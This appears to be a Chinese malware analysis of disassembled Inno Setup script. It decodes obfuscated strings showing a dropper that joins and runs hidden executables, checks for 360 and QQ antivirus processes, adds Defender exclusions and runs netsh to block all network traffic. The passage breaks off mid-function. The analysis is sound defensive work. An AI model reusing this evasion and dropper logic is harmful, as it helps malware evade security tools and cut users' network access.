  1676.         pop ; StackCount = 13
  1677.         pop ; StackCount = 12
  1678.         pop ; StackCount = 11
  1679.         pop ; StackCount = 10
  1680.         pop ; StackCount = 9
  1681.         pop ; StackCount = 8
  1682.         pop ; StackCount = 7
  1683. loc_47cd:
  1684.         pushtype WideString ; StackCount = 8
  1685.         pushtype UnicodeString_2 ; StackCount = 9
  1686.         pushtype Type30 ; StackCount = 10
  1687.         pushtype Type30 ; StackCount = 11
  1688.         pushtype S32 ; StackCount = 12
  1689.         assign Var12, S32(25)
  1690.         pushvar Var11 ; StackCount = 13
  1691.         call SETARRAYLENGTH
  1692.         pop ; StackCount = 12
  1693.         pop ; StackCount = 11
  1694.         assign Var11[0], S32(67)
  1695.         assign Var11[1], S32(58)
  1696.         assign Var11[2], S32(92)
  1697.         assign Var11[3], S32(85)
  1698.         assign Var11[4], S32(115)
  1699.         assign Var11[5], S32(101)
  1700.         assign Var11[6], S32(114)
  1701.         assign Var11[7], S32(115)
  1702.         assign Var11[8], S32(92)
  1703.         assign Var11[9], S32(80)
  1704.         assign Var11[10], S32(117)
  1705.         assign Var11[11], S32(98)
  1706.         assign Var11[12], S32(108)
  1707.         assign Var11[13], S32(105)
  1708.         assign Var11[14], S32(99)
  1709.         assign Var11[15], S32(92)
  1710.         assign Var11[16], S32(68)
  1711.         assign Var11[17], S32(111)
  1712.         assign Var11[18], S32(99)
  1713.         assign Var11[19], S32(117)
  1714.         assign Var11[20], S32(109)
  1715.         assign Var11[21], S32(101)
  1716.         assign Var11[22], S32(110)
  1717.         assign Var11[23], S32(116)
  1718.         assign Var11[24], S32(115)
  1719.         assign Var10, Var11
  1720.         pop ; StackCount = 10
  1721.         pushvar Var9 ; StackCount = 11
  1722.         call STRFROMCODE
  1723.         pop ; StackCount = 10
  1724.         pop ; StackCount = 9
  1725.         assign Var8, Var9
  1726.         pop ; StackCount = 8
  1727.         pushtype UnicodeString_2 ; StackCount = 9
  1728.         pushtype Type30 ; StackCount = 10
  1729.         pushtype Type30 ; StackCount = 11
  1730.         pushtype S32 ; StackCount = 12
  1731.         assign Var12, S32(8)
  1732.         pushvar Var11 ; StackCount = 13
  1733.         call SETARRAYLENGTH
  1734.         pop ; StackCount = 12
  1735.         pop ; StackCount = 11
  1736.         assign Var11[0], S32(92)
  1737.         assign Var11[1], S32(109)
  1738.         assign Var11[2], S32(101)
  1739.         assign Var11[3], S32(110)
  1740.         assign Var11[4], S32(46)
  1741.         assign Var11[5], S32(101)
  1742.         assign Var11[6], S32(120)
  1743.         assign Var11[7], S32(101)
  1744.         assign Var10, Var11
  1745.         pop ; StackCount = 10
  1746.         pushvar Var9 ; StackCount = 11
  1747.         call STRFROMCODE
  1748.         pop ; StackCount = 10
  1749.         pop ; StackCount = 9
  1750.         add Var8, Var9
  1751.         pop ; StackCount = 8
  1752.         assign Var5, Var8
  1753.         pop ; StackCount = 7
  1754.         pushtype BOOLEAN ; StackCount = 8
  1755.         pushtype UnicodeString_2 ; StackCount = 9
  1756.         assign Var9, Var5
  1757.         pushvar Var8 ; StackCount = 10
  1758.         call FILEEXISTS
  1759.         pop ; StackCount = 9
  1760.         pop ; StackCount = 8
  1761.         sfz Var8
  1762.         pop ; StackCount = 7
  1763.         jf loc_4c1a
  1764.         pushtype BOOLEAN ; StackCount = 8
  1765.         pushtype Pointer ; StackCount = 9
  1766.         setptr Var9, Var7
  1767.         pushtype U8_4 ; StackCount = 10
  1768.         assign Var10, U8_4(0)
  1769.         pushtype S32 ; StackCount = 11
  1770.         assign Var11, S32(0)
  1771.         pushtype UnicodeString_2 ; StackCount = 12
  1772.         pushtype Type30 ; StackCount = 13
  1773.         pushtype Type30 ; StackCount = 14
  1774.         pushtype S32 ; StackCount = 15
  1775.         assign Var15, S32(0)
  1776.         pushvar Var14 ; StackCount = 16
  1777.         call SETARRAYLENGTH
  1778.         pop ; StackCount = 15
  1779.         pop ; StackCount = 14
  1780.         assign Var13, Var14
  1781.         pop ; StackCount = 13
  1782.         pushvar Var12 ; StackCount = 14
  1783.         call STRFROMCODE
  1784.         pop ; StackCount = 13
  1785.         pop ; StackCount = 12
  1786.         pushtype UnicodeString_2 ; StackCount = 13
  1787.         pushtype Type30 ; StackCount = 14
  1788.         pushtype Type30 ; StackCount = 15
  1789.         pushtype S32 ; StackCount = 16
  1790.         assign Var16, S32(0)
  1791.         pushvar Var15 ; StackCount = 17
  1792.         call SETARRAYLENGTH
  1793.         pop ; StackCount = 16
  1794.         pop ; StackCount = 15
  1795.         assign Var14, Var15
  1796.         pop ; StackCount = 14
  1797.         pushvar Var13 ; StackCount = 15
  1798.         call STRFROMCODE
  1799.         pop ; StackCount = 14
  1800.         pop ; StackCount = 13
  1801.         pushtype UnicodeString_2 ; StackCount = 14
  1802.         assign Var14, Var5
  1803.         pushvar Var8 ; StackCount = 15
  1804.         call EXEC
  1805.         pop ; StackCount = 14
  1806.         pop ; StackCount = 13
  1807.         pop ; StackCount = 12
  1808.         pop ; StackCount = 11
  1809.         pop ; StackCount = 10
  1810.         pop ; StackCount = 9
  1811.         pop ; StackCount = 8
  1812.         pop ; StackCount = 7
  1813. loc_4c1a:
  1814.         ret
复制代码

这个函数包含多个ASCII码数组,用于构建字符串并执行各种操作。

以下是所有数组的ASCII码还原结果及其对应的字符串:

1. 第一个数组(12字节)
ASCII码:47, 99, 32, 99, 111, 112, 121, 32, 47, 98, 32, 34
字符串:"/c copy /b \""

2. 第二个数组(25字节)
ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115
字符串:"C:\Users\Public\Documents"

3. 第三个数组(13字节)
ASCII码:92, 117, 110, 122, 105, 112, 46, 51, 34, 32, 43, 32, 34
字符串:"\unzip.3\" + \""

4. 第四个数组(11字节)
ASCII码:92, 117, 110, 122, 105, 112, 46, 50, 34, 32, 34
字符串:"\unzip.2\" \""

5. 第五个数组(21字节)
ASCII码:92, 102, 117, 110, 122, 105, 112, 46, 101, 120, 101, 34, 32, 38, 38, 32, 100, 101, 108, 32, 34
字符串:"\funzip.exe\" && del \""

6. 第六个数组(9字节)
ASCII码:92, 117, 110, 122, 105, 112, 46, 50, 34
字符串:"\unzip.2\""

7. 第七个数组(7字节)
ASCII码:99, 109, 100, 46, 101, 120, 101
字符串:"cmd.exe"

8. 第八个数组(51字节)
ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 120, 56, 54, 45, 77, 105, 99, 114, 111, 115, 111, 102, 116, 45, 87, 105, 110, 100, 111, 119, 115, 100, 97, 116, 97
字符串:"C:\Users\Public\Documents\x86-Microsoft-Windowsdata"

9. 第九个数组(36字节)
ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 101, 114, 118, 101, 114, 46, 108, 111, 103
字符串:"C:\Users\Public\Documents\Server.log"

10. 第十个数组(11字节)
ASCII码:92, 83, 101, 114, 118, 101, 114, 46, 108, 111, 103
字符串:"\Server.log"

11. 第十一个数组(26字节)
ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92
字符串:"C:\Users\Public\Documents\"

12. 第十二个数组(9字节)
ASCII码:115, 101, 116, 117, 112, 46, 101, 120, 101
字符串:"setup.exe"

13. 第十三个数组(8字节)
ASCII码:92, 109, 101, 110, 46, 101, 120, 101
字符串:"\men.exe"

该函数执行以下功能:
1. 执行cmd.exe /c copy /b /y,将C:\Users\Public\Documents\unzip.3和unzip.2合并为funzip.exe
2. 删除unzip.3和unzip.2文件
3. 调用ADDDEFENDEREXCLUSION、OBFUSCATEDEXTRACT等函数(如果360Tray.exe进程存在则会先调用ADDDEFENDEREXCLUSION和DISABLENETWORKADAPTERS执行断网操作)
4. 使用C:\Users\Public\Documents作为工作目录,创建x86-Microsoft-Windowsdata子目录,即创建C:\Users\Public\Documents\x86-Microsoft-Windowsdata目录
5. 使用EXEC函数执行setup.exe、men.exe等文件,即使用EXEC函数执行C:\Users\Public\Documents\setup.exe和C:\Users\Public\Documents\men.exe等文件

该函数会检测360主防进程——若存在,则执行断网,具体如下:
该函数会调用代码中的“IS360PROCESSRUNNING”函数判断360主防进程"360Tray.exe"是否存在,从而执行不同的逻辑。
检查360进程是否运行:
  1. ; 第8-14行代码
  2. pushtype BOOLEAN ; StackCount = 8
  3. pushvar Var8 ; StackCount = 9
  4. call INITIALIZESETUP ; 初始化设置
  5. pop ; StackCount = 8
  6. pop ; StackCount = 7
  7. pushvar Var1 ; StackCount = 8
  8. call IS360PROCESSRUNNING ; 检查360安全卫士进程是否正在运行
  9. pop ; StackCount = 7
复制代码

检查结果和条件跳转:
  1. ; 第15-22行代码
  2. pushtype BOOLEAN ; StackCount = 8
  3. assign Var8, Var1 ; 检查函数"IS360PROCESSRUNNING"的返回值(存储在Var1中)赋给变量Var8,用于后续判断
  4. setz Var8 ; 检查Var8的值是否为假(0)
  5. sfz Var8 ; 根据sfz指令的判断结果,如果Var8为假(即360进程没有运行),则跳转到标签loc_263f处执行
  6. pop ; StackCount = 7
  7. jf loc_263f
复制代码


执行路径:
如果360进程在运行:继续执行当前代码块(从第23行开始),然后调用"ADDDEFENDEREXCLUSION"(添加Windows Defender排除项)和"OBFUSCATEDEXTRACT"
如果360进程不在运行:跳转到loc_263f标签处执行,那里会先调用"ADDDEFENDEREXCLUSION"(添加Windows Defender排除项)和"DISABLENETWORKADAPTERS"(断网)


我们来看一下"IS360PROCESSRUNNING"函数:
  1. .function(export) BOOLEAN IS360PROCESSRUNNING()
  2.         pushtype Variant ; StackCount = 1
  3.         pushtype Variant ; StackCount = 2
  4.         pushtype Variant ; StackCount = 3
  5.         pushtype UnicodeString_2 ; StackCount = 4
  6.         pushtype UnicodeString_2 ; StackCount = 5
  7.         pushtype UnicodeString_2 ; StackCount = 6
  8.         pushtype UnicodeString_2 ; StackCount = 7
  9.         assign RetVal, BOOLEAN(0)
  10.         starteh null, loc_8a1, null, loc_8af
  11.         pushtype IDISPATCH ; StackCount = 8
  12.         pushtype UnicodeString_2 ; StackCount = 9
  13.         pushtype Type30 ; StackCount = 10
  14.         pushtype Type30 ; StackCount = 11
  15.         pushtype S32 ; StackCount = 12
  16.         assign Var12, S32(26)
  17.         pushvar Var11 ; StackCount = 13
  18.         call SETARRAYLENGTH
  19.         pop ; StackCount = 12
  20.         pop ; StackCount = 11
  21.         assign Var11[0], S32(87)
  22.         assign Var11[1], S32(66)
  23.         assign Var11[2], S32(69)
  24.         assign Var11[3], S32(77)
  25.         assign Var11[4], S32(83)
  26.         assign Var11[5], S32(99)
  27.         assign Var11[6], S32(114)
  28.         assign Var11[7], S32(105)
  29.         assign Var11[8], S32(112)
  30.         assign Var11[9], S32(116)
  31.         assign Var11[10], S32(105)
  32.         assign Var11[11], S32(110)
  33.         assign Var11[12], S32(103)
  34.         assign Var11[13], S32(46)
  35.         assign Var11[14], S32(83)
  36.         assign Var11[15], S32(87)
  37.         assign Var11[16], S32(66)
  38.         assign Var11[17], S32(69)
  39.         assign Var11[18], S32(77)
  40.         assign Var11[19], S32(76)
  41.         assign Var11[20], S32(111)
  42.         assign Var11[21], S32(99)
  43.         assign Var11[22], S32(97)
  44.         assign Var11[23], S32(116)
  45.         assign Var11[24], S32(111)
  46.         assign Var11[25], S32(114)
  47.         assign Var10, Var11
  48.         pop ; StackCount = 10
  49.         pushvar Var9 ; StackCount = 11
  50.         call STRFROMCODE
  51.         pop ; StackCount = 10
  52.         pop ; StackCount = 9
  53.         pushvar Var8 ; StackCount = 10
  54.         call CREATEOLEOBJECT
  55.         pop ; StackCount = 9
  56.         pop ; StackCount = 8
  57.         assign Var1, Var8
  58.         pop ; StackCount = 7
  59.         pushtype !OPENARRAYOFVARIANT ; StackCount = 8
  60.         pushtype !OPENARRAYOFVARIANT ; StackCount = 9
  61.         pushtype S32 ; StackCount = 10
  62.         assign Var10, S32(2)
  63.         pushvar Var9 ; StackCount = 11
  64.         call SETARRAYLENGTH
  65.         pop ; StackCount = 10
  66.         pop ; StackCount = 9
  67.         assign Var9[0], String_3("")
  68.         assign Var9[1], String_3("root\\cimv2")
  69.         assign Var8, Var9
  70.         pop ; StackCount = 8
  71.         pushtype String_3 ; StackCount = 9
  72.         assign Var9, String_3("ConnectServer")
  73.         pushtype BOOLEAN ; StackCount = 10
  74.         assign Var10, BOOLEAN(0)
  75.         pushtype IDISPATCH ; StackCount = 11
  76.         assign Var11, Var1
  77.         pushvar Var2 ; StackCount = 12
  78.         call IDISPATCHINVOKE
  79.         pop ; StackCount = 11
  80.         pop ; StackCount = 10
  81.         pop ; StackCount = 9
  82.         pop ; StackCount = 8
  83.         pop ; StackCount = 7
  84.         pushtype Type30 ; StackCount = 8
  85.         pushtype Type30 ; StackCount = 9
  86.         pushtype S32 ; StackCount = 10
  87.         assign Var10, S32(11)
  88.         pushvar Var9 ; StackCount = 11
  89.         call SETARRAYLENGTH
  90.         pop ; StackCount = 10
  91.         pop ; StackCount = 9
  92.         assign Var9[0], S32(51)
  93.         assign Var9[1], S32(54)
  94.         assign Var9[2], S32(48)
  95.         assign Var9[3], S32(116)
  96.         assign Var9[4], S32(114)
  97.         assign Var9[5], S32(97)
  98.         assign Var9[6], S32(121)
  99.         assign Var9[7], S32(46)
  100.         assign Var9[8], S32(101)
  101.         assign Var9[9], S32(120)
  102.         assign Var9[10], S32(101)
  103.         assign Var8, Var9
  104.         pop ; StackCount = 8
  105.         pushvar Var5 ; StackCount = 9
  106.         call STRFROMCODE
  107.         pop ; StackCount = 8
  108.         pop ; StackCount = 7
  109.         pushtype Type30 ; StackCount = 8
  110.         pushtype Type30 ; StackCount = 9
  111.         pushtype S32 ; StackCount = 10
  112.         assign Var10, S32(11)
  113.         pushvar Var9 ; StackCount = 11
  114.         call SETARRAYLENGTH
  115.         pop ; StackCount = 10
  116.         pop ; StackCount = 9
  117.         assign Var9[0], S32(51)
  118.         assign Var9[1], S32(54)
  119.         assign Var9[2], S32(48)
  120.         assign Var9[3], S32(84)
  121.         assign Var9[4], S32(114)
  122.         assign Var9[5], S32(97)
  123.         assign Var9[6], S32(121)
  124.         assign Var9[7], S32(46)
  125.         assign Var9[8], S32(101)
  126.         assign Var9[9], S32(120)
  127.         assign Var9[10], S32(101)
  128.         assign Var8, Var9
  129.         pop ; StackCount = 8
  130.         pushvar Var6 ; StackCount = 9
  131.         call STRFROMCODE
  132.         pop ; StackCount = 8
  133.         pop ; StackCount = 7
  134.         pushtype Type30 ; StackCount = 8
  135.         pushtype Type30 ; StackCount = 9
  136.         pushtype S32 ; StackCount = 10
  137.         assign Var10, S32(12)
  138.         pushvar Var9 ; StackCount = 11
  139.         call SETARRAYLENGTH
  140.         pop ; StackCount = 10
  141.         pop ; StackCount = 9
  142.         assign Var9[0], S32(81)
  143.         assign Var9[1], S32(81)
  144.         assign Var9[2], S32(80)
  145.         assign Var9[3], S32(67)
  146.         assign Var9[4], S32(84)
  147.         assign Var9[5], S32(114)
  148.         assign Var9[6], S32(97)
  149.         assign Var9[7], S32(121)
  150.         assign Var9[8], S32(46)
  151.         assign Var9[9], S32(101)
  152.         assign Var9[10], S32(120)
  153.         assign Var9[11], S32(101)
  154.         assign Var8, Var9
  155.         pop ; StackCount = 8
  156.         pushvar Var7 ; StackCount = 9
  157.         call STRFROMCODE
  158.         pop ; StackCount = 8
  159.         pop ; StackCount = 7
  160.         pushtype WideString ; StackCount = 8
  161.         assign Var8, String_3("SELECT * FROM Win32_Process WHERE Name="")
  162.         add Var8, Var5
  163.         add Var8, String_3("" OR ")
  164.         add Var8, String_3("Name="")
  165.         add Var8, Var6
  166.         add Var8, String_3("" OR ")
  167.         add Var8, String_3("Name="")
  168.         add Var8, Var7
  169.         add Var8, Char(""")
  170.         assign Var4, Var8
  171.         pop ; StackCount = 7
  172.         pushtype !OPENARRAYOFVARIANT ; StackCount = 8
  173.         pushtype !OPENARRAYOFVARIANT ; StackCount = 9
  174.         pushtype S32 ; StackCount = 10
  175.         assign Var10, S32(1)
  176.         pushvar Var9 ; StackCount = 11
  177.         call SETARRAYLENGTH
  178.         pop ; StackCount = 10
  179.         pop ; StackCount = 9
  180.         assign Var9[0], Var4
  181.         assign Var8, Var9
  182.         pop ; StackCount = 8
  183.         pushtype String_3 ; StackCount = 9
  184.         assign Var9, String_3("ExecQuery")
  185.         pushtype BOOLEAN ; StackCount = 10
  186.         assign Var10, BOOLEAN(0)
  187.         pushtype IDISPATCH ; StackCount = 11
  188.         assign Var11, Var2
  189.         pushvar Var3 ; StackCount = 12
  190.         call IDISPATCHINVOKE
  191.         pop ; StackCount = 11
  192.         pop ; StackCount = 10
  193.         pop ; StackCount = 9
  194.         pop ; StackCount = 8
  195.         pop ; StackCount = 7
  196.         pushtype Variant ; StackCount = 8
  197.         pushtype !OPENARRAYOFVARIANT ; StackCount = 9
  198.         pushtype !OPENARRAYOFVARIANT ; StackCount = 10
  199.         pushtype S32 ; StackCount = 11
  200.         assign Var11, S32(0)
  201.         pushvar Var10 ; StackCount = 12
  202.         call SETARRAYLENGTH
  203.         pop ; StackCount = 11
  204.         pop ; StackCount = 10
  205.         assign Var9, Var10
  206.         pop ; StackCount = 9
  207.         pushtype String_3 ; StackCount = 10
  208.         assign Var10, String_3("Count")
  209.         pushtype BOOLEAN ; StackCount = 11
  210.         assign Var11, BOOLEAN(0)
  211.         pushtype IDISPATCH ; StackCount = 12
  212.         assign Var12, Var3
  213.         pushvar Var8 ; StackCount = 13
  214.         call IDISPATCHINVOKE
  215.         pop ; StackCount = 12
  216.         pop ; StackCount = 11
  217.         pop ; StackCount = 10
  218.         pop ; StackCount = 9
  219.         pop ; StackCount = 8
  220.         gt RetVal, Var8, S32(0)
  221.         pop ; StackCount = 7
  222.         endtry
  223. loc_8a1:
  224.         assign RetVal, BOOLEAN(0)
  225.         endcatch
  226. loc_8af:
  227.         ret
复制代码

这个函数包含多个ASCII码数组,用于构建字符串来检查360安全卫士进程是否在运行。

以下是所有数组的ASCII码还原结果及其对应的字符串:

1. 第一个数组(26字节)
ASCII码:87, 66, 69, 77, 83, 99, 114, 105, 112, 116, 105, 110, 103, 46, 83, 87, 66, 69, 77, 76, 111, 99, 97, 116, 111, 114
字符串:"WBEMScripting.SWBEMLocator"

2. 第二个数组(11字节)
ASCII码:51, 54, 48, 116, 114, 97, 121, 46, 101, 120, 101
字符串:"360tray.exe"

3. 第三个数组(11字节)
ASCII码:51, 54, 48, 84, 114, 97, 121, 46, 101, 120, 101
字符串:"360Tray.exe"

4. 第四个数组(12字节)
ASCII码:81, 81, 80, 67, 84, 114, 97, 121, 46, 101, 120, 101
字符串:"QQPCTray.exe"

该函数通过WMI查询系统进程,检查360安全卫士的进程是否在运行:
1. 创建WMI对象:创建WBEMScripting.SWBEMLocator对象
2. 连接WMI服务:连接到root\cimv2命名空间
3. 构建查询字符串:查询以下三个进程名之一是否存在:
360tray.exe
360Tray.exe
QQPCTray.exe
4. 执行查询:通过WQL查询Win32_Process表
5. 检查结果:如果查询返回的进程计数大于0,则返回True,表示360进程在运行;否则返回False

最终构建的WQL查询语句为:SELECT * FROM Win32_Process WHERE Name="360tray.exe" OR Name="360Tray.exe" OR Name="QQPCTray.exe"


再来看"DISABLENETWORKADAPTERS"函数:
  1. .function(export) void DISABLENETWORKADAPTERS()
  2.         pushtype S32 ; StackCount = 1
  3.         pushtype BOOLEAN ; StackCount = 2
  4.         pushtype Pointer ; StackCount = 3
  5.         setptr Var3, Var1
  6.         pushtype U8_4 ; StackCount = 4
  7.         assign Var4, U8_4(1)
  8.         pushtype S32 ; StackCount = 5
  9.         assign Var5, S32(0)
  10.         pushtype UnicodeString_2 ; StackCount = 6
  11.         assign Var6, String_3("")
  12.         pushtype UnicodeString_2 ; StackCount = 7
  13.         pushtype Type30 ; StackCount = 8
  14.         pushtype Type30 ; StackCount = 9
  15.         pushtype S32 ; StackCount = 10
  16.         assign Var10, S32(36)
  17.         pushvar Var9 ; StackCount = 11
  18.         call SETARRAYLENGTH
  19.         pop ; StackCount = 10
  20.         pop ; StackCount = 9
  21.         assign Var9[0], S32(97)
  22.         assign Var9[1], S32(100)
  23.         assign Var9[2], S32(118)
  24.         assign Var9[3], S32(102)
  25.         assign Var9[4], S32(105)
  26.         assign Var9[5], S32(114)
  27.         assign Var9[6], S32(101)
  28.         assign Var9[7], S32(119)
  29.         assign Var9[8], S32(97)
  30.         assign Var9[9], S32(108)
  31.         assign Var9[10], S32(108)
  32.         assign Var9[11], S32(32)
  33.         assign Var9[12], S32(115)
  34.         assign Var9[13], S32(101)
  35.         assign Var9[14], S32(116)
  36.         assign Var9[15], S32(32)
  37.         assign Var9[16], S32(97)
  38.         assign Var9[17], S32(108)
  39.         assign Var9[18], S32(108)
  40.         assign Var9[19], S32(112)
  41.         assign Var9[20], S32(114)
  42.         assign Var9[21], S32(111)
  43.         assign Var9[22], S32(102)
  44.         assign Var9[23], S32(105)
  45.         assign Var9[24], S32(108)
  46.         assign Var9[25], S32(101)
  47.         assign Var9[26], S32(115)
  48.         assign Var9[27], S32(32)
  49.         assign Var9[28], S32(115)
  50.         assign Var9[29], S32(116)
  51.         assign Var9[30], S32(97)
  52.         assign Var9[31], S32(116)
  53.         assign Var9[32], S32(101)
  54.         assign Var9[33], S32(32)
  55.         assign Var9[34], S32(111)
  56.         assign Var9[35], S32(110)
  57.         assign Var8, Var9
  58.         pop ; StackCount = 8
  59.         pushvar Var7 ; StackCount = 9
  60.         call STRFROMCODE
  61.         pop ; StackCount = 8
  62.         pop ; StackCount = 7
  63.         pushtype UnicodeString_2 ; StackCount = 8
  64.         pushtype Type30 ; StackCount = 9
  65.         pushtype Type30 ; StackCount = 10
  66.         pushtype S32 ; StackCount = 11
  67.         assign Var11, S32(5)
  68.         pushvar Var10 ; StackCount = 12
  69.         call SETARRAYLENGTH
  70.         pop ; StackCount = 11
  71.         pop ; StackCount = 10
  72.         assign Var10[0], S32(110)
  73.         assign Var10[1], S32(101)
  74.         assign Var10[2], S32(116)
  75.         assign Var10[3], S32(115)
  76.         assign Var10[4], S32(104)
  77.         assign Var9, Var10
  78.         pop ; StackCount = 9
  79.         pushvar Var8 ; StackCount = 10
  80.         call STRFROMCODE
  81.         pop ; StackCount = 9
  82.         pop ; StackCount = 8
  83.         pushvar Var2 ; StackCount = 9
  84.         call EXEC
  85.         pop ; StackCount = 8
  86.         pop ; StackCount = 7
  87.         pop ; StackCount = 6
  88.         pop ; StackCount = 5
  89.         pop ; StackCount = 4
  90.         pop ; StackCount = 3
  91.         pop ; StackCount = 2
  92.         pop ; StackCount = 1
  93.         pushtype BOOLEAN ; StackCount = 2
  94.         pushtype Pointer ; StackCount = 3
  95.         setptr Var3, Var1
  96.         pushtype U8_4 ; StackCount = 4
  97.         assign Var4, U8_4(1)
  98.         pushtype S32 ; StackCount = 5
  99.         assign Var5, S32(0)
  100.         pushtype UnicodeString_2 ; StackCount = 6
  101.         assign Var6, String_3("")
  102.         pushtype UnicodeString_2 ; StackCount = 7
  103.         pushtype Type30 ; StackCount = 8
  104.         pushtype Type30 ; StackCount = 9
  105.         pushtype S32 ; StackCount = 10
  106.         assign Var10, S32(69)
  107.         pushvar Var9 ; StackCount = 11
  108.         call SETARRAYLENGTH
  109.         pop ; StackCount = 10
  110.         pop ; StackCount = 9
  111.         assign Var9[0], S32(97)
  112.         assign Var9[1], S32(100)
  113.         assign Var9[2], S32(118)
  114.         assign Var9[3], S32(102)
  115.         assign Var9[4], S32(105)
  116.         assign Var9[5], S32(114)
  117.         assign Var9[6], S32(101)
  118.         assign Var9[7], S32(119)
  119.         assign Var9[8], S32(97)
  120.         assign Var9[9], S32(108)
  121.         assign Var9[10], S32(108)
  122.         assign Var9[11], S32(32)
  123.         assign Var9[12], S32(115)
  124.         assign Var9[13], S32(101)
  125.         assign Var9[14], S32(116)
  126.         assign Var9[15], S32(32)
  127.         assign Var9[16], S32(97)
  128.         assign Var9[17], S32(108)
  129.         assign Var9[18], S32(108)
  130.         assign Var9[19], S32(112)
  131.         assign Var9[20], S32(114)
  132.         assign Var9[21], S32(111)
  133.         assign Var9[22], S32(102)
  134.         assign Var9[23], S32(105)
  135.         assign Var9[24], S32(108)
  136.         assign Var9[25], S32(101)
  137.         assign Var9[26], S32(115)
  138.         assign Var9[27], S32(32)
  139.         assign Var9[28], S32(102)
  140.         assign Var9[29], S32(105)
  141.         assign Var9[30], S32(114)
  142.         assign Var9[31], S32(101)
  143.         assign Var9[32], S32(119)
  144.         assign Var9[33], S32(97)
  145.         assign Var9[34], S32(108)
  146.         assign Var9[35], S32(108)
  147.         assign Var9[36], S32(112)
  148.         assign Var9[37], S32(111)
  149.         assign Var9[38], S32(108)
  150.         assign Var9[39], S32(105)
  151.         assign Var9[40], S32(99)
  152.         assign Var9[41], S32(121)
  153.         assign Var9[42], S32(32)
  154.         assign Var9[43], S32(98)
  155.         assign Var9[44], S32(108)
  156.         assign Var9[45], S32(111)
  157.         assign Var9[46], S32(99)
  158.         assign Var9[47], S32(107)
  159.         assign Var9[48], S32(105)
  160.         assign Var9[49], S32(110)
  161.         assign Var9[50], S32(98)
  162.         assign Var9[51], S32(111)
  163.         assign Var9[52], S32(117)
  164.         assign Var9[53], S32(110)
  165.         assign Var9[54], S32(100)
  166.         assign Var9[55], S32(44)
  167.         assign Var9[56], S32(98)
  168.         assign Var9[57], S32(108)
  169.         assign Var9[58], S32(111)
  170.         assign Var9[59], S32(99)
  171.         assign Var9[60], S32(107)
  172.         assign Var9[61], S32(111)
  173.         assign Var9[62], S32(117)
  174.         assign Var9[63], S32(116)
  175.         assign Var9[64], S32(98)
  176.         assign Var9[65], S32(111)
  177.         assign Var9[66], S32(117)
  178.         assign Var9[67], S32(110)
  179.         assign Var9[68], S32(100)
  180.         assign Var8, Var9
  181.         pop ; StackCount = 8
  182.         pushvar Var7 ; StackCount = 9
  183.         call STRFROMCODE
  184.         pop ; StackCount = 8
  185.         pop ; StackCount = 7
  186.         pushtype UnicodeString_2 ; StackCount = 8
  187.         pushtype Type30 ; StackCount = 9
  188.         pushtype Type30 ; StackCount = 10
  189.         pushtype S32 ; StackCount = 11
  190.         assign Var11, S32(5)
  191.         pushvar Var10 ; StackCount = 12
  192.         call SETARRAYLENGTH
  193.         pop ; StackCount = 11
  194.         pop ; StackCount = 10
  195.         assign Var10[0], S32(110)
  196.         assign Var10[1], S32(101)
  197.         assign Var10[2], S32(116)
  198.         assign Var10[3], S32(115)
  199.         assign Var10[4], S32(104)
  200.         assign Var9, Var10
  201.         pop ; StackCount = 9
  202.         pushvar Var8 ; StackCount = 10
  203.         call STRFROMCODE
  204.         pop ; StackCount = 9
  205.         pop ; StackCount = 8
  206.         pushvar Var2 ; StackCount = 9
  207.         call EXEC
  208.         pop ; StackCount = 8
  209.         pop ; StackCount = 7
  210.         pop ; StackCount = 6
  211.         pop ; StackCount = 5
  212.         pop ; StackCount = 4
  213.         pop ; StackCount = 3
  214.         pop ; StackCount = 2
  215.         pop ; StackCount = 1
  216.         ret
复制代码

这个函数包含两个ASCII码数组,用于构建命令字符串。

以下是所有数组的ASCII码还原结果及其对应的字符串:

1. 第一个数组(36字节)
ASCII码:97, 100, 118, 102, 105, 114, 101, 119, 97, 108, 108, 32, 115, 101, 116, 32, 97, 108, 108, 112, 114, 111, 102, 105, 108, 101, 115, 32, 115, 116, 97, 116, 101, 32, 111, 110
字符串:"advfirewall set allprofiles state on"

2. 第二个数组(5字节)
ASCII码:110, 101, 116, 115, 104
字符串:"netsh"

3. 第三个数组(69字节)
ASCII码:97, 100, 118, 102, 105, 114, 101, 119, 97, 108, 108, 32, 115, 101, 116, 32, 97, 108, 108, 112, 114, 111, 102, 105, 108, 101, 115, 32, 102, 105, 114, 101, 119, 97, 108, 108, 112, 111, 108, 105, 99, 121, 32, 98, 108, 111, 99, 107, 105, 110, 98, 111, 117, 110, 100, 44, 98, 108, 111, 99, 107, 111, 117, 116, 98, 111, 117, 110, 100
字符串:"advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound"

4. 第四个数组(5字节)
ASCII码:110, 101, 116, 115, 104
字符串:"netsh"

这个函数通过执行两个netsh命令来配置Windows防火墙:
启用所有防火墙配置文件:netsh advfirewall set allprofiles state on
阻止所有入站和出站连接:netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound

作用:打开Windows防火墙,并设置防火墙策略为阻止所有入站和出站连接。



针对Windows Defender还有"ISDEFENDERRUNNING"函数和"ADDDEFENDEREXCLUSION"函数,我们来看一下。
先看"ISDEFENDERRUNNING"函数:
  1. .function(export) BOOLEAN ISDEFENDERRUNNING()
  2.         pushtype Variant ; StackCount = 1
  3.         pushtype Variant ; StackCount = 2
  4.         pushtype Variant ; StackCount = 3
  5.         pushtype UnicodeString_2 ; StackCount = 4
  6.         pushtype UnicodeString_2 ; StackCount = 5
  7.         pushtype UnicodeString_2 ; StackCount = 6
  8.         pushtype UnicodeString_2 ; StackCount = 7
  9.         assign RetVal, BOOLEAN(0)
  10.         starteh null, loc_b35, null, loc_b43
  11.         pushtype Type30 ; StackCount = 8
  12.         pushtype Type30 ; StackCount = 9
  13.         pushtype S32 ; StackCount = 10
  14.         assign Var10, S32(26)
  15.         pushvar Var9 ; StackCount = 11
  16.         call SETARRAYLENGTH
  17.         pop ; StackCount = 10
  18.         pop ; StackCount = 9
  19.         assign Var9[0], S32(87)
  20.         assign Var9[1], S32(66)
